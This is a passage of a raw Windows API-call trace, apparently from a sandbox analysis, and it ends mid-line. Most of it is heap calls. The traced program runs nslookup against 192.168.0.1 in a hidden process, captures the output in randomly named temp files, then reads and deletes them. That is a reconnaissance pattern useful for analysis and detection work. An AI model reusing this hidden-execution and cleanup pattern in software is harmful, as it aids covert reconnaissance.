[0048.889] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c32d08) returned 1 [0048.889] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d438) returned 1 [0048.889] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c32d50) returned 1 [0048.889] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d448) returned 1 [0048.889] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39de0) returned 1 [0048.889] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d458) returned 1 [0048.889] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3dd90) returned 1 [0048.889] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39de0 [0048.889] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39de0) returned 1 [0048.889] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39de0 [0048.889] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39de0) returned 1 [0048.889] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39de0 [0048.889] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39de0) returned 1 [0048.889] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39de0 [0048.889] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39de0) returned 1 [0048.889] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39de0 [0048.890] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39de0) returned 1 [0048.890] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39de0 [0048.890] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39de0) returned 1 [0048.890] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39de0 [0048.890] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39de0) returned 1 [0048.890] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39de0 [0048.890] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39de0) returned 1 [0048.890] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39de0 [0048.890] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39de0) returned 1 [0048.890] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39de0 [0048.890] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39de0) returned 1 [0048.890] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39de0 [0048.890] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39de0) returned 1 [0048.890] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39de0 [0048.890] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39de0) returned 1 [0048.890] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39de0 [0048.890] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39de0) returned 1 [0048.890] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39de0 [0048.890] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39de0) returned 1 [0048.890] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39de0 [0048.890] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39de0) returned 1 [0048.890] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39de0 [0048.890] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39de0) returned 1 [0048.890] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39de0 [0048.890] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39de0) returned 1 [0048.890] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x10) returned 0x1d3d630 [0048.890] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d458 [0048.890] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39de0 [0048.890] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d448 [0048.890] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39e28 [0048.890] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d438 [0048.890] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39d98 [0048.890] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d428 [0048.890] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39d50 [0048.890] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x20) returned 0x1d3ff98 [0048.890] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d630) returned 1 [0048.891] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d418 [0048.891] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39d08 [0048.891] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c397b0) returned 1 [0048.891] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d468) returned 1 [0048.891] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c32d98) returned 1 [0048.891] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d478) returned 1 [0048.891] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c32de0) returned 1 [0048.891] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d488) returned 1 [0048.891] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c32e28) returned 1 [0048.891] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d498) returned 1 [0048.891] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c32e70) returned 1 [0048.891] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d4a8) returned 1 [0048.891] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c32eb8) returned 1 [0048.891] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d4b8) returned 1 [0048.891] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c32f00) returned 1 [0048.891] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d4c8) returned 1 [0048.891] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c32f48) returned 1 [0048.891] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d4d8) returned 1 [0048.891] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c32f90) returned 1 [0048.891] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d4e8) returned 1 [0048.891] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c32fd8) returned 1 [0048.891] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d4f8) returned 1 [0048.891] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c33020) returned 1 [0048.891] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d508) returned 1 [0048.891] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c33068) returned 1 [0048.891] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d518) returned 1 [0048.891] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c330b0) returned 1 [0048.891] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d528) returned 1 [0048.891] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c330f8) returned 1 [0048.891] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d538) returned 1 [0048.891] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c33140) returned 1 [0048.891] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d548) returned 1 [0048.891] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c33188) returned 1 [0048.891] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d558) returned 1 [0048.891] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c331d0) returned 1 [0048.891] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d568) returned 1 [0048.891] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39e98) returned 1 [0048.891] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x20) returned 0x1d3ffc0 [0048.892] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1c398d0, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0048.892] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1c398d0, cbMultiByte=11, lpWideCharStr=0x1d3eb70, cchWideChar=11 | out: lpWideCharStr="192.168.0.1") returned 11 [0048.892] CryptAcquireContextW (in: phProv=0x18f8fc, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f8fc*=0x255a28) returned 1 [0048.893] CryptGenRandom (in: hProv=0x255a28, dwLen=0x4, pbBuffer=0x18f910 | out: pbBuffer=0x18f910) returned 1 [0048.893] CryptReleaseContext (hProv=0x255a28, dwFlags=0x0) returned 1 [0048.893] CryptAcquireContextW (in: phProv=0x18f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f8f8*=0x255a28) returned 1 [0048.894] CryptGenRandom (in: hProv=0x255a28, dwLen=0x4, pbBuffer=0x18f90c | out: pbBuffer=0x18f90c) returned 1 [0048.894] CryptReleaseContext (hProv=0x255a28, dwFlags=0x0) returned 1 [0048.894] GetTempFileNameW (in: lpPathName="C:\\Windows\\TEMP\\", lpPrefixString="q", uUnique=0x0, lpTempFileName=0x1c340f0 | out: lpTempFileName="C:\\Windows\\TEMP\\qAE98.tmp" (normalized: "c:\\windows\\temp\\qae98.tmp")) returned 0xae98 [0048.895] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3eb70) returned 1 [0048.895] GetShortPathNameW (in: lpszLongPath="C:\\Windows\\TEMP\\qAE98.tmp", lpszShortPath=0x1c344f8, cchBuffer=0x100 | out: lpszShortPath="C:\\Windows\\TEMP\\qAE98.tmp") returned 0x19 [0048.895] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c340f0) returned 1 [0048.895] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3ebf8) returned 1 [0048.895] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3ebf8 [0048.895] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x400) returned 0x1c340f0 [0048.895] CryptAcquireContextW (in: phProv=0x18f8fc, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f8fc*=0x255a28) returned 1 [0048.896] CryptGenRandom (in: hProv=0x255a28, dwLen=0x4, pbBuffer=0x18f910 | out: pbBuffer=0x18f910) returned 1 [0048.896] CryptReleaseContext (hProv=0x255a28, dwFlags=0x0) returned 1 [0048.896] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3eb70 [0048.896] CryptAcquireContextW (in: phProv=0x18f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f8f8*=0x255a28) returned 1 [0048.897] CryptGenRandom (in: hProv=0x255a28, dwLen=0x4, pbBuffer=0x18f90c | out: pbBuffer=0x18f90c) returned 1 [0048.897] CryptReleaseContext (hProv=0x255a28, dwFlags=0x0) returned 1 [0048.897] CryptAcquireContextW (in: phProv=0x18f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f8f8*=0x255a28) returned 1 [0048.898] CryptGenRandom (in: hProv=0x255a28, dwLen=0x4, pbBuffer=0x18f90c | out: pbBuffer=0x18f90c) returned 1 [0048.898] CryptReleaseContext (hProv=0x255a28, dwFlags=0x0) returned 1 [0048.898] CryptAcquireContextW (in: phProv=0x18f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f8f8*=0x255a28) returned 1 [0048.899] CryptGenRandom (in: hProv=0x255a28, dwLen=0x4, pbBuffer=0x18f90c | out: pbBuffer=0x18f90c) returned 1 [0048.899] CryptReleaseContext (hProv=0x255a28, dwFlags=0x0) returned 1 [0048.899] CryptAcquireContextW (in: phProv=0x18f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f8f8*=0x255a28) returned 1 [0048.900] CryptGenRandom (in: hProv=0x255a28, dwLen=0x4, pbBuffer=0x18f90c | out: pbBuffer=0x18f90c) returned 1 [0048.900] CryptReleaseContext (hProv=0x255a28, dwFlags=0x0) returned 1 [0048.900] CryptAcquireContextW (in: phProv=0x18f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f8f8*=0x255a28) returned 1 [0048.900] CryptGenRandom (in: hProv=0x255a28, dwLen=0x4, pbBuffer=0x18f90c | out: pbBuffer=0x18f90c) returned 1 [0048.900] CryptReleaseContext (hProv=0x255a28, dwFlags=0x0) returned 1 [0048.900] CryptAcquireContextW (in: phProv=0x18f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f8f8*=0x255a28) returned 1 [0048.901] CryptGenRandom (in: hProv=0x255a28, dwLen=0x4, pbBuffer=0x18f90c | out: pbBuffer=0x18f90c) returned 1 [0048.901] CryptReleaseContext (hProv=0x255a28, dwFlags=0x0) returned 1 [0048.901] GetTempFileNameW (in: lpPathName="C:\\Windows\\TEMP\\", lpPrefixString="btv", uUnique=0x0, lpTempFileName=0x1c340f0 | out: lpTempFileName="C:\\Windows\\TEMP\\btvAEA8.tmp" (normalized: "c:\\windows\\temp\\btvaea8.tmp")) returned 0xaea8 [0048.902] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3eb70) returned 1 [0048.902] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x400) returned 0x1c34900 [0048.902] GetShortPathNameW (in: lpszLongPath="C:\\Windows\\TEMP\\btvAEA8.tmp", lpszShortPath=0x1c34900, cchBuffer=0x100 | out: lpszShortPath="C:\\Windows\\TEMP\\btvAEA8.tmp") returned 0x1b [0048.902] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c340f0) returned 1 [0048.902] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3ebf8) returned 1 [0048.902] CreateFileW (lpFileName="C:\\Windows\\TEMP\\qAE98.tmp" (normalized: "c:\\windows\\temp\\qae98.tmp"), dwDesiredAccess=0x4, dwShareMode=0x3, lpSecurityAttributes=0x18f9ac, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x144 [0048.902] CreateFileW (lpFileName="C:\\Windows\\TEMP\\btvAEA8.tmp" (normalized: "c:\\windows\\temp\\btvaea8.tmp"), dwDesiredAccess=0x4, dwShareMode=0x3, lpSecurityAttributes=0x18f9ac, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0048.902] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\\\nslookup.exe", lpCommandLine="C:\\Windows\\system32\\\\nslookup.exe 192.168.0.1", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18f9ec*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x144, hStdError=0x13c), lpProcessInformation=0x18f9b8 | out: lpCommandLine="C:\\Windows\\system32\\\\nslookup.exe 192.168.0.1", lpProcessInformation=0x18f9b8*(hProcess=0x140, hThread=0x138, dwProcessId=0x92c, dwThreadId=0x93c)) returned 1 [0048.976] NtClose (Handle=0x138) returned 0x0 [0048.976] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0xea60) returned 0x0 [0052.766] NtClose (Handle=0x144) returned 0x0 [0052.767] NtClose (Handle=0x13c) returned 0x0 [0052.767] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3ebf8 [0052.767] GetFileAttributesExW (in: lpFileName="C:\\Windows\\TEMP\\qAE98.tmp" (normalized: "c:\\windows\\temp\\qae98.tmp"), fInfoLevelId=0x0, lpFileInformation=0x18f904 | out: lpFileInformation=0x18f904*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67260450, ftCreationTime.dwHighDateTime=0x1d5d030, ftLastAccessTime.dwLowDateTime=0x67260450, ftLastAccessTime.dwHighDateTime=0x1d5d030, ftLastWriteTime.dwLowDateTime=0x69687270, ftLastWriteTime.dwHighDateTime=0x1d5d030, nFileSizeHigh=0x0, nFileSizeLow=0x58)) returned 1 [0052.767] CreateFileW (lpFileName="C:\\Windows\\TEMP\\qAE98.tmp" (normalized: "c:\\windows\\temp\\qae98.tmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0052.767] SetFileTime (hFile=0x13c, lpCreationTime=0x0, lpLastAccessTime=0x18f948, lpLastWriteTime=0x18f948) returned 0 [0052.767] GetFileSize (in: hFile=0x13c, lpFileSizeHigh=0x18f934 | out: lpFileSizeHigh=0x18f934*=0x0) returned 0x58 [0052.767] SetFilePointer (in: hFile=0x13c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f940*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f940*=0) returned 0x0 [0052.768] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3eb70 [0052.768] ReadFile (in: hFile=0x13c, lpBuffer=0x1d3eb70, nNumberOfBytesToRead=0x58, lpNumberOfBytesRead=0x18f974, lpOverlapped=0x0 | out: lpBuffer=0x1d3eb70*, lpNumberOfBytesRead=0x18f974*=0x58, lpOverlapped=0x0) returned 1 [0052.768] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3ec80 [0052.768] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3eb70) returned 1 [0052.768] NtClose (Handle=0x13c) returned 0x0 [0052.768] GetFileAttributesExW (in: lpFileName="C:\\Windows\\TEMP\\qAE98.tmp" (normalized: "c:\\windows\\temp\\qae98.tmp"), fInfoLevelId=0x0, lpFileInformation=0x18f944 | out: lpFileInformation=0x18f944*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67260450, ftCreationTime.dwHighDateTime=0x1d5d030, ftLastAccessTime.dwLowDateTime=0x67260450, ftLastAccessTime.dwHighDateTime=0x1d5d030, ftLastWriteTime.dwLowDateTime=0x69687270, ftLastWriteTime.dwHighDateTime=0x1d5d030, nFileSizeHigh=0x0, nFileSizeLow=0x58)) returned 1 [0052.768] SetFileAttributesW (lpFileName="C:\\Windows\\TEMP\\qAE98.tmp", dwFileAttributes=0x80) returned 1 [0052.768] DeleteFileW (lpFileName="C:\\Windows\\TEMP\\qAE98.tmp" (normalized: "c:\\windows\\temp\\qae98.tmp")) returned 1 [0052.769] GetFileAttributesExW (in: lpFileName="C:\\Windows\\TEMP\\btvAEA8.tmp" (normalized: "c:\\windows\\temp\\btvaea8.tmp"), fInfoLevelId=0x0, lpFileInformation=0x18f944 | out: lpFileInformation=0x18f944*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x672865b0, ftCreationTime.dwHighDateTime=0x1d5d030, ftLastAccessTime.dwLowDateTime=0x672865b0, ftLastAccessTime.dwHighDateTime=0x1d5d030, ftLastWriteTime.dwLowDateTime=0x672865b0, ftLastWriteTime.dwHighDateTime=0x1d5d030, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0052.769] SetFileAttributesW (lpFileName="C:\\Windows\\TEMP\\btvAEA8.tmp", dwFileAttributes=0x80) returned 1 [0052.769] DeleteFileW (lpFileName="C:\\Windows\\TEMP\\btvAEA8.tmp" (normalized: "c:\\windows\\temp\\btvaea8.tmp")) returned 1 [0052.770] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3eb70 [0052.770] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3ec80) returned 1 [0052.770] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3ebf8) returned 1 [0052.770] NtClose (Handle=0x140) returned 0x0 [0052.770] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c34900) returned 1 [0052.770] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c344f8) returned 1 [0052.770] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3ebf8 [0052.770] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3ebf8) returned 1 [0052.770] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3eb70) returned 1 [0052.770] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39de0 [0052.770] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x10) returned 0x1d3d630 [0052.770] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d3f8 [0052.770] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c399a8 [0052.770] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39de0) returned 1 [0052.770] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39de0 [0052.770] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d4b8 [0052.770] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39888 [0052.770] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39de0) returned 1 [0052.770] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39de0 [0052.770] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d4c8 [0052.770] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39e28 [0052.770] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39de0) returned 1 [0052.770] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39de0 [0052.770] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d468 [0052.770] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39d98 [0052.771] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39de0) returned 1 [0052.771] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39de0 [0052.771] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x20) returned 0x1d3ffc0 [0052.771] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d630) returned 1 [0052.771] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d328 [0052.771] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39960 [0052.771] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39de0) returned 1 [0052.771] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39de0 [0052.771] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d318 [0052.771] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39840 [0052.771] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39de0) returned 1 [0052.771] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d578 [0052.771] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39de0 [0052.771] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x20) returned 0x1d3dd90 [0052.771] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d258 [0052.771] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c397f8 [0052.771] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d268 [0052.771] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39d08 [0052.771] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d278 [0052.771] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c397b0 [0052.771] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d478 [0052.771] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c9d8 [0052.771] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d488 [0052.771] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c32d08 [0052.771] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d5a8 [0052.771] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c32d50 [0052.771] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d598 [0052.771] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c32d98 [0052.771] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c399a8) returned 1 [0052.771] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d3f8) returned 1 [0052.771] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39888) returned 1 [0052.771] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d4b8) returned 1 [0052.771] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39e28) returned 1 [0052.771] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d4c8) returned 1 [0052.772] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39d98) returned 1 [0052.772] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d468) returned 1 [0052.772] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, 